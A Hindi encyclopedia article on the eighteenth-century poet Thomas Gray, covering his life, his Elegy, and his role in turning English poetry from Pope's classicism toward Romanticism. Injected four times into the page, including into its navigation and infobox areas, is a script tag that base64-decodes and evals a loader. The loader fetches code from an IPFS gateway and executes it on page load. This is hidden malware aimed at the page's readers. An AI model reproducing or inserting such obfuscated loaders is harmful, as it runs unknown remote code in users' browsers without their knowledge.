थॉमस ग्रे

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
थॉमस ग्रे
पुस्तक नाम हिन्दी विश्वकोश खण्ड 4
पृष्ठ संख्या 82
भाषा हिन्दी देवनागरी
संपादक फूलदेव सहाय वर्मा
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक तुलसी नारायण सिंह

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

थॉमस ग्रे (१७१६-१७७१) १८वीं शताब्दी के अंग्रेजी कवियों में जिन्होंने पोप और उनकी क्लासिकी परंपरा के विरुद्ध कविता के क्षेत्र में रोमांटिक तत्व को प्रथम ओर महत्व दिया, थॉमस ग्रे का विशिष्ट स्थान है। ईटन में प्रांरभिक शिक्षा समाप्त करने के बाद ये केंब्रिज आ गए और वहाँ कानून का अध्ययन किया। लेकिन उन्होंने एकनिष्ठ भाव से साहित्य की सेवा का निश्चय कर लिया था और अपने मित्र होरेस वालपोल के साथ सन्‌ १७३९ से १७४१ तक फ्रांस, इटली, वेल्स और स्काटलैंड की यात्रा की। इनकी अधिकांश कविताएँ मृत्यु से २० साल पहले ही लिखी जा चुकी थीं। सर्वाधिक प्रसिद्ध कविता 'एलेजी रिटेन इन एकंट्री चर्चयार्ड' सन्‌ १७४७ में लिखी गई थी, इसका प्रकाशन तीन साल बाद, सन्‌ १७५० में, हुआ। सन्‌ १७५७ में इनको लारिएटिशिप मिली जिसे इन्होंने अस्वीकार कर दिया। सन्‌ १७६८ में ये केंब्रिज विश्वविद्यालय में इतिहास के प्रोफेसर हुए। मृत्यु के बाद इनका शव स्टोक पोपजेज नामक गाँव की कब्रगाह में इनकी माँ की कब्र की बगल में है दफनाया गया। इसी कब्रगाह में इन्होंने प्रसिद्ध एलेजी की रचना की थी।

थॉमस ग्रे अध्ययनशील और विद्वान्‌ कवि थे। अधिकांश समय पढ़ने में ही लगाने के कारण ये अधिक नहीं लिख पाए। लेकिन जो कुछ भी इन्होंने लिखा वह कला की दृष्टि से उत्कृष्ट है। इनकी कविता में भाव और भाषा दोनों की चुस्ती है। जो शब्द जहाँ है, वह वहाँ के लिए अनिवार्य प्रतीत होता है। ऐसा ज्ञात होता है कि कवि ने शब्दों का चयन बड़े ध्यान से किया है। ऐसी रचनाओं में किसी न किसी अंश में कृत्रिमता का दोष आना स्वाभाविक है लेकिन ग्रे की कविताओं में भावों की सच्ची अभिव्यक्ति है।

अलेक्जंडर पोप तथा क्लासिकी परंपरा के अन्य कवियों का ध्यान पूर्णतया नगरों के जीवन पर ही केंद्रीभूत था। शहर के सभ्य और सुसंस्कृत वातावरण में रहनेवाले स्त्रीपुरुषों के कार्यकलापों तक ही कविता का क्षेत्र सीमित रह गया था। प्रकृति के लिये वहाँ कोई स्थान नहीं था। ग्रामीण जीवन को ये कवि हेय दृष्टि से देखते थे। नदी, पर्वत, जंगल आदि सौंदर्य का नहीं बल्कि भय का भाव उत्पन्न करते थे। नदी, पर्वत, जंगल आदि सौंदर्य का नहीं बल्कि भय का भाव उत्पन्न करते थे। अंग्रेजी कविता में इस प्रवृत्ति के विरुद्ध आवाज उठने लगी और थॉमस ग्रे ने अपने युग के कई अन्य कवियों के साथ प्रकृतिवर्णन को फिर से प्रतिष्ठित किया। इनकी प्रकृति संबंधी कविताओं की एक विशेषता यह है कि सभी वर्णित दृश्य यथार्थ का आभास देते हैं। कोरी कल्पना का सहारा कहीं भी नहीं लिया गया है।

अंग्रेजी कविता में रोमांटिक तत्व एक अन्य प्रकार से भी आया। १८वीं शताब्दी की क्लासिकी कविता में भावतत्व का सर्वथा अभाव था। बुद्धि की ही सर्वत्र प्रधानता थी। कवि के लिये सभी प्रकार की भावुकता से बचना आवश्यक समझा जाता था। ग्रे की कविता में तीव्र विषाद की अभिव्यक्ति है। इनके समकालीन कुछ अन्य कवियों में भी हमें विषाद की झलक मिलती है। इस प्रकार कविता धीरे धीरे बुद्धिप्रधान न रहकर भावप्रधान होती गई। 'दि फैटल सिस्टर्स' और 'दि डीसेंट ऑव ओडिन' जैसी कविताओं में मध्ययुगीन विश्वासों पर आधारित विलक्षण और चमत्कारी तत्वों का समावेश है। क्लासिकी परंपरा का बुद्धिवादी कवि ऐसे तत्वों को साहित्य के लिये बिलकुल अनुपयुक्त समझता था। कविता में इनके आ जाने से उसे कल्पना का सहारा मिल गया।


टीका टिप्पणी और संदर्भ